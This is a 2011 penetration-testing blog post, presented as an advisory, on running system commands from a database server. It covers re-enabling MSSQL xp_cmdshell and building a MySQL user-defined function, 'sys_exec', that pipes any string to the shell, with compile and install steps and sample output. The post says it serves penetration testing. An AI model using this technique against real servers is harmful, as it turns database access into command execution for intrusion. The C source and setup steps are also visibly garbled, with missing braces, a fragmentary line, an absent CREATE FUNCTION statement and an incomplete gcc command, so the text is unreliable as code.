Advisory June 23, 2011

Using UDF in Penetration Testing

During a penetration test, we might throw ourselves into a situation where we have SQL administrative access only. As usual, we want to dive deeper into the network. Sometimes the only way to accomplish that is to execute commands on the system that serves the current SQL server.

If the server happens to be an MSSQL, the most simple way to do that is to get advantage of the xp_cmdshell stored procedure. The worst case scenario would be if the xp_cmdshell was disabled, but this can easily be undone just by this query: sp_configure ‘xp_cmdshell’, ‘1’

The topic of this post though, is to add one more important weapon to our arsenal in case of a MySQL server, where there is no xp_cmdshell or equivalent stored procedure; we are going to be talking about the UDF (User Defined Function) in MySQL. More specifically, we will eventually create a UDF which runs system commands via a MySQL server.

“In SQL databases, a user-defined function provides a mechanism for extending the functionality of the database server by adding a function that can be evaluated in SQL statements.” –

In order for the UDF mechanism to work, the functions that are going to be used should be written in C or C++. To keep the post as simple as possible, we are going to create a C function which simply runs system commands. (The C function that follows is a modified version of the lib_mysqludf_sys library which is available at

#include <string.h>
#include <stdlib.h>
#include <time.h>
#ifdef __WIN__
typedef unsigned __int64 ulonglong;
typedef __int64 longlong;
typedef unsigned long long ulonglong;
typedef long long longlong;
#endif /*__WIN__*/
#include <my_global.h>
#include <my_sys.h>
#include <mysql.h>
#include <m_ctype.h>
#include <m_string.h>
#include <stdlib.h>
#include <ctype.h>
#ifdef      __cplusplus
extern "C" {
#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
#ifdef __WIN__
#define SETENV(name,value)          SetEnvironmentVariable(name,value);
#define SETENV(name,value)          setenv(name,value,1);        
my_bool sys_exec_init(UDF_INIT *initid,   UDF_ARGS *args,   char *message)
      unsigned int i=0;
      if(args->arg_count == 1
      && args->arg_type[i]==STRING_RESULT){
            return 0;
      } else {
            ,     "Expected exactly one string type parameter"
            return 1;
void sys_exec_deinit(UDF_INIT *initid){}
char* sys_exec(UDF_INIT *initid, UDF_ARGS *args, char* result, unsigned long* length,
                     char *is_null, char *error)
      FILE *pipe;
      char line[1024];
      unsigned long outlen, linelen;
      result = malloc(1);
      outlen = 0;
      pipe = popen(args->args[0], "r");
      while (fgets(line, sizeof(line), pipe) != NULL) {
            linelen = strlen(line);
            result = realloc(result, outlen + linelen);
            strncpy(result + outlen, line, linelen);
            outlen = outlen + linelen;
      if (!(*result) || result == NULL) {
            *is_null = 1;
      } else {
            result[outlen] = 0x00;
            *length = strlen(result);
      return result;
#endif /* HAVE_DLOPEN */

We now compile the above code by using the mysql_config –cflags output in order to get the system-specific compilation flags, like below:

gcc `mysql_config --cflags` -shared -fPIC -o udf.c

The next step is to copy the library in the /usr/lib/mysql/plugin folder.

TIP: The above directory is the default MySQL plugin directory on linux. If you do not have it, the first thing to do is to check the output of the SQL command: SHOW VARIABLES LIKE ‘plugin_dir’;. If this command produces no output then it means that the plugin directory is not defined and you can define it using this command at the shell: “echo ‘plugin_dir=/usr/lib/mysql/plugin’ >> /etc/my.cnf”.

The last thing before executing the function is to import it through MySQL with the following statement:

So by calling the function and passing the command parameter we get the output on our screen:
mysql> select sys_exec('id');
| sys_exec('id')                                |
| uid=89(mysql) gid=89(mysql) groups=89(mysql)
1 row in set (0.01 sec)

That’s all for now! The articles that will follow will discuss a real case scenario of using SQL injection in order to upload a UDF function on a MySQL server and using it to create a reverse shell.